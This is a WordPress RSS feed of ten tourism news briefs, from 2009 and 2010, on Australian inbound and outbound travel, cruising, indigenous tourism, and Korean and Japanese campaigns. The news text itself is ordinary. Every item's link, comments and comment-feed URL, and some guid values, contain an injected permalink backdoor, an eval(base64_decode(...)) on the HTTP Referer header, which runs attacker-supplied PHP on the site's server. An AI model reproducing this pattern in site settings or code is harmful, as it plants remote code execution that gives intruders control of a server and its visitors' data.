<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Royal Intel - Tourism Intelligence Consultants &#187; Australia</title>
	<atom:link href="http://royalintel.com/category/australia/feed/" rel="self" type="application/rss+xml" />
	<link>http://royalintel.com</link>
	<description>"Royal Intel is an indispensible partner of ours in our construction of our marketing programs, with their thorough analyses of Asia-Pacific tourism and swift turnaround of deliverables. Their reports are always spot on, user-friendly, and full of constructive counsel" - Søren Leerskov, Managing Director, Scandinavian Tourist Board</description>
	<lastBuildDate>Fri, 08 Jan 2010 06:41:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>‘Normality’ Expected to Return to the Australian Tourism Industry</title>
		<link>http://royalintel.com/2010/01/04/%e2%80%98normality%e2%80%99-expected-to-return-to-the-australian-tourism-industry/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://royalintel.com/2010/01/04/%e2%80%98normality%e2%80%99-expected-to-return-to-the-australian-tourism-industry/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 08:14:14 +0000</pubDate>
		<dc:creator>Lara</dc:creator>
				<category><![CDATA[Australia]]></category>

		<guid isPermaLink="false">http://royalintel.com/?p=422</guid>
		<description><![CDATA[http://www.etravelblackboard.com]]></description>
			<content:encoded><![CDATA[<p>Predictions point towards a return to normalcy in the Australian tourism industry. This forecast, made early into the year, is based on the country recording its strongest growth in overseas arrivals since 2005. </p>
<p>Indeed last year saw the Australian tourism industry suffer its sharpest decline in total tourist consumption since the 2003 SARS outbreak. A turnaround in 2010 is therefore expected in that the value of the tourism industry to the economy is set to increase by 3% to AUD 92 billion. Overseas arrivals to Australia has been fuelled significantly by strong growth from the U.S and Chinese markets, and where this growth is expected to rise 4.3% after performing above expectations during the GFC. Domestic tourism, which was hit by a 5.4% decline in 2009, is on the other hand, expected to pull out of its slump this year and grow in value by 2.9%. According to the chair of the Tourism Forecasting Committee, Bernard Salt, a solid recovery of 4.3% is a good figure for the new year, given the strong growth out of the US and China for 2010. </p>
<p>Given the trend, international travel to Australia is expected to rise 4.9% in 2011 and 4.7% in 2012, thanks to the global economic recovery and a release of pent-up demand. Outbound tourism will still, on the flip side, continue to outstrip inbound arrivals due to factors associated with cheap airfares and the rising value of the Australian dollar, a trend that began in 2008 and is expected to remain as such for at least a decade.</p>
]]></content:encoded>
			<wfw:commentRss>http://royalintel.com/2010/01/04/%e2%80%98normality%e2%80%99-expected-to-return-to-the-australian-tourism-industry/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Australian Promotion Program Set to Boost Indigenous Tourism Operator Opportunities</title>
		<link>http://royalintel.com/2009/12/28/new-australian-promotion-program-set-to-boost-indigenous-tourism-operator-opportunities/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://royalintel.com/2009/12/28/new-australian-promotion-program-set-to-boost-indigenous-tourism-operator-opportunities/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 15:56:28 +0000</pubDate>
		<dc:creator>Lara</dc:creator>
				<category><![CDATA[Australia]]></category>

		<guid isPermaLink="false">http://royalintel.com/?p=412</guid>
		<description><![CDATA[http://www.travelmole.com]]></description>
			<content:encoded><![CDATA[<p>A new industry panel will offer opportunities for indigenous tourism operators to boost their presence in overseas markets, develop successful businesses and attract more tourists to Australia&#8217;s shores. This has been revealed by the Australian Tourism Export Council’s (ATEC) new indigenous Tourism Advisory Panel (ITAP) which has been formed to help train and market indigenous tourism businesses to compete effectively in the global tourism marketplace. </p>
<p>ITAP is made up of key indigenous tourism suppliers, a number of mainstream tourism operators, and representatives from both the online and ITO distribution system as well as Indigenous Business Australia (IBA). According to ATEC chairman, John King, with the assistance of the Indigenous Tourism Advisory Panel, is in a unique position to accomplish three things: firstly, increase the presence of indigenous tourism within the global distribution system; secondly, use mentoring, education, employment and training to bring a broader array of indigenous tourism products to export-ready standard and thirdly, to really bring indigenous tourism from a niche product to a core component of the unique Australian tourism experience. </p>
<p>ATEC has worked with Tourism Australia and IBA to organize the first export-ready Indigenous Tourism Champions workshop, where top-line operators were brought in to meet indigenous operators from around Australia to increase the presence of indigenous tourism products in international markets. As well as advising the ATEC National Board on indigenous tourism development programs, ITAP will also be able to initiate projects of its own, such as workshops or training programs.</p>
]]></content:encoded>
			<wfw:commentRss>http://royalintel.com/2009/12/28/new-australian-promotion-program-set-to-boost-indigenous-tourism-operator-opportunities/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Growing Outbound Trips Comes at Expense of Domestic Tourism in Australia</title>
		<link>http://royalintel.com/2009/12/28/growing-outbound-trips-comes-at-expense-of-domestic-tourism-in-australia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://royalintel.com/2009/12/28/growing-outbound-trips-comes-at-expense-of-domestic-tourism-in-australia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 15:55:31 +0000</pubDate>
		<dc:creator>Lara</dc:creator>
				<category><![CDATA[Australia]]></category>

		<guid isPermaLink="false">http://royalintel.com/?p=410</guid>
		<description><![CDATA[http://www.travelmole.com]]></description>
			<content:encoded><![CDATA[<p>The number of Australians heading overseas reached record levels in October, according to analysis of the latest Overseas Arrivals and Departures data by the Tourism and Transport Forum (TTF). While arrivals for the month grew 6.5% to 485,600 compared to October last year, Australian departures grew 19.6%t to 547,700. </p>
<p>This travel however comes at a cost to local tourism businesses. TTF executive director, Brett Gale, notes that these growing outbound visits reflect the gradual return of demand after a period of poor international arrivals and the substantial new aviation capacity which is available on key routes with more of those seats are being taken by Australians than tourists to Australia. The TTF director exemplifies this by noting that visitors from the United States are up an impressive 26%, although Australians visiting the US are up 46.7%. Indeed over the past 12 months Australians have made more than 6.1 million overseas trips.  </p>
<p>As the outbound booms, the trend is that this continues to hurt domestic tourism, but more optimistically, opportunities are seen in that here are so many new airline seats available to bring overseas visitors into Australia though adopting extensive and rigorous international marketing that is capable of making a difference by taking advantage of returning confidence and aviation capacity.</p>
]]></content:encoded>
			<wfw:commentRss>http://royalintel.com/2009/12/28/growing-outbound-trips-comes-at-expense-of-domestic-tourism-in-australia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Critics Thrash Australia’s Long term Tourism Report</title>
		<link>http://royalintel.com/2009/12/17/critics-thrash-australia%e2%80%99s-long-term-tourism-report/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://royalintel.com/2009/12/17/critics-thrash-australia%e2%80%99s-long-term-tourism-report/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 09:07:12 +0000</pubDate>
		<dc:creator>Lara</dc:creator>
				<category><![CDATA[Australia]]></category>

		<guid isPermaLink="false">http://royalintel.com/?p=406</guid>
		<description><![CDATA[http://www.etravelblackboard.com ]]></description>
			<content:encoded><![CDATA[<p>Critics of the recently released Long term strategy for Australian tourism note that the report appears rather flimsy for a national tourism industry which purports to have contributed AUD 40 billion to Australia’s GDP, AUD 23 billion of export earnings and directly employs half a million Australians. </p>
<p>Critics further note that as a response to the far more weighty Jackson Report submitted to the Minister of Tourism a few months earlier, the Long Term Tourism Strategy generates more questions than it addresses.  As a strategic report it does not even bother to set a target date. Essentially the report contained nine key points namely: Positioning for Long Term Growth; Leadership; Research; Facilitating Investment and regulatory reform; Labor and Skills; Responding to Challenges; Excellence in Product and Service Delivery; Strengthening competitiveness with industry and product development and Measuring performance. Critics note that the issue which this report manifestly fails to address relates to means at which the country seeks to attract both a larger number of overseas tourists who spend money and do more to encourage Australians to see their own country rather than everywhere else. </p>
<p>It is acknowledged that Australia has done exceedingly well in the qualitative measures of inbound tourism but where its visitor numbers are far lower than the potential. It is suggested that a strategic report worthy of its name should have addressed these pertinent issues.</p>
]]></content:encoded>
			<wfw:commentRss>http://royalintel.com/2009/12/17/critics-thrash-australia%e2%80%99s-long-term-tourism-report/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aviation White Paper Outlines Australia’s Aviation Industry Needs</title>
		<link>http://royalintel.com/2009/12/16/aviation-white-paper-outlines-australia%e2%80%99s-aviation-industry-needs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://royalintel.com/2009/12/16/aviation-white-paper-outlines-australia%e2%80%99s-aviation-industry-needs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 04:06:43 +0000</pubDate>
		<dc:creator>Lara</dc:creator>
				<category><![CDATA[Australia]]></category>

		<guid isPermaLink="false">http://royalintel.com/?p=404</guid>
		<description><![CDATA[http://www.etravelblackboard.com]]></description>
			<content:encoded><![CDATA[<p>The Australian federal government has released the long awaited aviation white paper that outlines the needs of the country’s aviation industry for the next decade. Transport Minister, Anthony Albanese, cautions however on the need for investment in state-of-the-art air space management technology, including satellite technologies, to cope with ever growing air traffic, especially in reflection of issues affecting Sydney’s Kingsford Smith Airport, prompting the government to look for a second airport site. </p>
<p>However, the white paper did not recommend a second airport site to compliment Sydney’s Kingsford Smith Airport, but instead ruled out the anticipated site of Badgerys Creek, which has been overtaken by years of urban growth in the area and is inconsistent with future NSW spatial planning and land use development plans for the south-west region of Sydney. In regards to security, the government will implement less stringent rules, allowing passengers to take “low-risk” items on to planes such as knitting needles, crochet hooks and nail files and in addition will also allow the use of metal cutlery knives on aircraft and at airport facilities. The new rules will allow security screeners to focus only on items of real risk.</p>
]]></content:encoded>
			<wfw:commentRss>http://royalintel.com/2009/12/16/aviation-white-paper-outlines-australia%e2%80%99s-aviation-industry-needs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Korea Aims to Double the Existing Number of Aussie Visitors by 2012</title>
		<link>http://royalintel.com/2009/12/15/korea-aims-to-double-the-existing-number-of-aussie-visitors-by-2012/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://royalintel.com/2009/12/15/korea-aims-to-double-the-existing-number-of-aussie-visitors-by-2012/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 09:30:25 +0000</pubDate>
		<dc:creator>Lara</dc:creator>
				<category><![CDATA[Australia]]></category>
		<category><![CDATA[South Korea]]></category>

		<guid isPermaLink="false">http://royalintel.com/?p=398</guid>
		<description><![CDATA[http://www.etravelblackboard.com ]]></description>
			<content:encoded><![CDATA[<p>Korea Tourism Organization (KTO) aims to double the existing number of Australians travelling to the country by 2012. This was revealed by KTO’s Auditor General, Mr Lee Won Hyung, who further notes that 2009 has seen approximately 100,000 Australians travel to Korea. </p>
<p>An estimated 200,000 Australians are expected to visit Korea at the end of the Visit Korea Year 2010-2012 campaign. Korea, in this light, equally hopes to garner more Australian exchange students, from 200 each year to around 500 by 2012, and boost the number of Australian &#8211; Korean sister schools, from the current 40 schools. It is hoped that the welcoming of more Australian exchange students will increase the awareness of, and interest, in Korea as well as improve the existing political relationship between both countries. Visit Korea Year 2010-2012 is a pan-national campaign which envisions focusing on building the Korean tourism brand and developing high-quality tourism products to draw in 10 million foreign visitors. </p>
<p>Each year of the Visit Korea Year campaign will be accompanied with a different theme to highlight the unique culture and many offerings of Korea, including themes such as City and Style (2010), Nature and People (2011) and Blue Ocean (2012). City and Style will centre on Korean pop culture, urban tourism, culture and fashion, while Nature and People will focus on the IAFF World Championship in Athletics in Daegu, green tourism and the country’s rivers and mountains. The International Exposition, Yeosu Korea 2012, will kick off Blue Ocean, which will focus on Korea’s IT technology, maritime tourism, cruise tourism and island tourism.</p>
]]></content:encoded>
			<wfw:commentRss>http://royalintel.com/2009/12/15/korea-aims-to-double-the-existing-number-of-aussie-visitors-by-2012/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Australia&#8217;s Tourism Sector to Benefit from the Stand Out Performance of Cruising</title>
		<link>http://royalintel.com/2009/12/11/australias-tourism-sector-to-benefit-from-the-stand-out-performance-of-cruising/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://royalintel.com/2009/12/11/australias-tourism-sector-to-benefit-from-the-stand-out-performance-of-cruising/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 08:14:09 +0000</pubDate>
		<dc:creator>Lara</dc:creator>
				<category><![CDATA[Australia]]></category>

		<guid isPermaLink="false">http://royalintel.com/?p=387</guid>
		<description><![CDATA[http://www.etravelblackboard.com]]></description>
			<content:encoded><![CDATA[<p>According to a recent report, the cruise industry remains the standout performer in the Australian tourism sector, with its contribution to the national economy increasing 54% to USD 1.2 billion in 2007-08. Forecasts made in the Access Economic Report indicate that cruise industry is set to achieve an annual growth of 7% over the next decade, significantly outperforming the Australian economy.</p>
<p>Cruise Company, Carnival Australia, believes that the cruise industry&#8217;s economic contribution could exceed AUD 3 billion by 2020 given that the latest report from Access Economies is a compelling addition to the intensifying debate around all the critical issues facing the cruise industry now and into the future. According to the Company’s Chief Executive, Ann Sherry, the company will seek to continue working with governments to ensure the development of long term solutions to overcome capacity constraints that could impede the sector&#8217;s continued expansion. </p>
<p>Indeed Carnival Australia indicates its enthusiasm in the progress made to improve port facilities but much remains to be done to ensure that this key part of the tourism sector continues to provide thousands of jobs in major ports around Australia given the expectation that the total cruise sector activity will increase 7% each year over the next decade as more Australian families cruise onboard ships which regularly visit major ports such as Sydney, Melbourne, Brisbane, Fremantle, Cairns, Adelaide and Hobart. </p>
<p>The importance of Sydney as a destination is acknowledged as critical to the growth of the cruise sector in terms of attracting international (Cruise) tourists to Australia and where advice has been issued around the provision of suitable infrastructure in Sydney and elsewhere in order for the sector to reach its growth potential. </p>
]]></content:encoded>
			<wfw:commentRss>http://royalintel.com/2009/12/11/australias-tourism-sector-to-benefit-from-the-stand-out-performance-of-cruising/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aussie Arrivals to Japan Up 9.3% in October</title>
		<link>http://royalintel.com/2009/12/08/aussie-arrivals-to-japan-up-9-3-in-october/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://royalintel.com/2009/12/08/aussie-arrivals-to-japan-up-9-3-in-october/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 06:07:47 +0000</pubDate>
		<dc:creator>Lara</dc:creator>
				<category><![CDATA[Australia]]></category>
		<category><![CDATA[Japan]]></category>

		<guid isPermaLink="false">http://royalintel.com/?p=385</guid>
		<description><![CDATA[http://www.travelmole.com ]]></description>
			<content:encoded><![CDATA[<p>Australian arrivals to Japan during the month of October increased 9.3% on 2008 figures according to a preliminary report released by the Japan National Tourism Organization (JNTO). The total Australian arrivals for the period were 19,900 compared with 18,200 for the same period last year. </p>
<p>The JNTI attributes the rise in the number to factors associated with the appreciation of the Australian dollar against the yen, special airfare sales, and an increase in media promotions targeting the Australian market. Furthermore, with the launch of the Visit Japan Year 2010 Campaign, a marketing effort aimed at increasing travelers to Japan and achieving Japan’s goal of 10 million international visitors by 2010, JNTO is optimistic that Australian arrivals will continue to increase, especially with Japan’s ski season scheduled to begin soon.  Indeed the Australian dollar has been making a steady recovery with one dollar now worth around 80 yen compared to 60 yen at the same time last year. </p>
<p>The figures released by JNTO are based on arrivals of Australian passport holders and include business, leisure, and stopover visitors. Australia remains the sixth major Japan inbound market ahead of the UK, Thailand, Canada and France and behind South Korea, China, Taiwan, USA and Hong Kong. </p>
]]></content:encoded>
			<wfw:commentRss>http://royalintel.com/2009/12/08/aussie-arrivals-to-japan-up-9-3-in-october/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Service is of Prime Importance Among Aussie Travelers</title>
		<link>http://royalintel.com/2009/11/24/service-is-of-prime-importance-among-aussie-travelers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://royalintel.com/2009/11/24/service-is-of-prime-importance-among-aussie-travelers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 09:11:55 +0000</pubDate>
		<dc:creator>Lara</dc:creator>
				<category><![CDATA[Australia]]></category>

		<guid isPermaLink="false">http://royalintel.com/2009/11/24/service-is-of-prime-importance-among-aussie-travelers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[
Services and not just goods attract the traveling Australian shopper. This has been revealed based on returns from the weekend Malaysia&#8217;s Year End Sale, or better known locally as simply M-YES. With the Australian dollar powering through, and no indication of slowing down, Australians are now considered among the top three countries for tourist spending [...]]]></description>
			<content:encoded><![CDATA[<p><font size="2" face="verdana"><br />
Services and not just goods attract the traveling Australian shopper. This has been revealed based on returns from the weekend Malaysia&#8217;s Year End Sale, or better known locally as simply M-YES. With the Australian dollar powering through, and no indication of slowing down, Australians are now considered among the top three countries for tourist spending in Malaysia.<br />
</font><span id="more-373"></span> <font size="2" face="verdana"><br />
According to Tourism Malaysia Marketing Executive, Wendy Lee, Australians love to shop and where shopping in Malaysia is so cheap in comparison to Australia. But amidst the lucrative hauls of goodies, the services market should not be overlooked. Indeed, other lucrative attractions in the service market on offer include spa treatments, facials, massages, manicure and pedicures, hair treatments, and all for much cheaper prices than those accorded in Australia. Wellness, health and beauty travel has been on the rise throughout South-East Asia over the last few years, and Malaysia has recorded significant increase of travelers seeking some rest, relaxation and pampering. Indeed, the key performer in terms of global health and wellness sales in 2008 was Asia Pacific which registered USD 27 billion.<br />
<font size="2" face="verdana"><br />
Strong popularity of health and wellness in Japan, where visiting spas is an ever-popular type of domestic holiday and the increasing competitiveness of Thailand are some of the factors triggering this boom in the region. Repost indicate that the impact of the global economic crisis, along with hectic lifestyles and increasing urbanization are just some of the factors behind the trend towards increased spa demand and the personal wellness lifestyle trend. The global traveler is scaling back on purchasing with consumer price sensitivity increasing and more than ever, consumers are now demanding high quality services at more affordable prices.<br />
<font size="2" face="verdana"><br />
Moreover, trends indicate that consumers are foregoing all luxuries and consoling themselves with small indulgences such as spa treatments as a result of the ‘lipstick effect’. Faced with growing competition many hotels and key market players identified spa facilities as a deciding factor when hotel guests choose accommodations for events or vacations.</p>
<p></font> <font size="1" face="verdana">Source: eTravel BlackBoard at <a href="http://www.etravelblackboard.com">www.etravelblackboard.com</a></font></p>
]]></content:encoded>
			<wfw:commentRss>http://royalintel.com/2009/11/24/service-is-of-prime-importance-among-aussie-travelers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Australian &#8216;Oji&#8217; Contest Aimed at Enhancing Destination Image of Australia Among the Japanese</title>
		<link>http://royalintel.com/2009/11/18/australian-oji-contest-aimed-at-enhancing-destination-image-of-australia-among-the-japanese/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://royalintel.com/2009/11/18/australian-oji-contest-aimed-at-enhancing-destination-image-of-australia-among-the-japanese/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 08:47:38 +0000</pubDate>
		<dc:creator>Lara</dc:creator>
				<category><![CDATA[Australia]]></category>
		<category><![CDATA[Japan]]></category>

		<guid isPermaLink="false">http://royalintel.com/2009/11/18/australian-oji-contest-aimed-at-enhancing-destination-image-of-australia-among-the-japanese/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[
Tourism Australia staged an event at the Shibuya 109 Studio in Tokyo to introduce a visiting team of &#8220;Aussie Oji (Prince)&#8221; in sync with its &#8220;Aussie Oji Campaign&#8221; intended for the purpose of providing Japanese tourists, especially the market-leading women in their twenties and thirties, with opportunities to mix with friendly and upbeat Australians.
 
Personalities [...]]]></description>
			<content:encoded><![CDATA[<p><font size="2" face="verdana"><br />
Tourism Australia staged an event at the Shibuya 109 Studio in Tokyo to introduce a visiting team of &#8220;Aussie Oji (Prince)&#8221; in sync with its &#8220;Aussie Oji Campaign&#8221; intended for the purpose of providing Japanese tourists, especially the market-leading women in their twenties and thirties, with opportunities to mix with friendly and upbeat Australians.<br />
</font><span id="more-369"></span> <font size="2" face="verdana"><br />
Personalities who graced the event as an &#8220;Oji&#8221; included Indigenous Oji Warren Clements, a performer at Tjapukai Aboriginal Cultural Park at Cairns, World Heritage Oji Nick Atkins, a tour guide at Great Barrier Reef, Wine Oji Brett Stanley, hospitality &amp; tourism manager at a winery of Yarra Valley, Beach Oji Shannon Eckstein, a life guard and the incumbent world champion of iron man triathlon race, Sports/Adventure Oji Ben Tomkins, a supporter of bridge-climbing at the Sydney&#8217;s landmark Harbour Bridge, and, Flower/Garden Oji Chad Marlene, a resident of Perth, Western Australia but at present an active comedian living in Japan. Following the event at Shibuya, the group of Aussie Oji&#8217;s thereafter visited Kinki Nippon Tourist and JTB at their respective Shinjuku offices, and the H.I.S. Headquarters at Shinjuku, in an effort to promote Australian tourism from different standpoints of each Oji.<br />
<font size="2" face="verdana"><br />
As a reward in respect to attending the event at Shinjiku, a contest, whose winner will receive a made-to-order trip to Australia worth a million yen, is to be determined from entries of travel sketches depicting their Oji experience. The focal point of this contest is, according to Tourism Australia, meant at drawing attention to the &#8216;loving&#8217; nature of Australians.</p>
<p></font> <font size="1" face="verdana">Source: Travel Vision Weekly at <a href="http://www.travelvisionweekly.com">www.travelvisionweekly.com</a></font></p>
]]></content:encoded>
			<wfw:commentRss>http://royalintel.com/2009/11/18/australian-oji-contest-aimed-at-enhancing-destination-image-of-australia-among-the-japanese/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

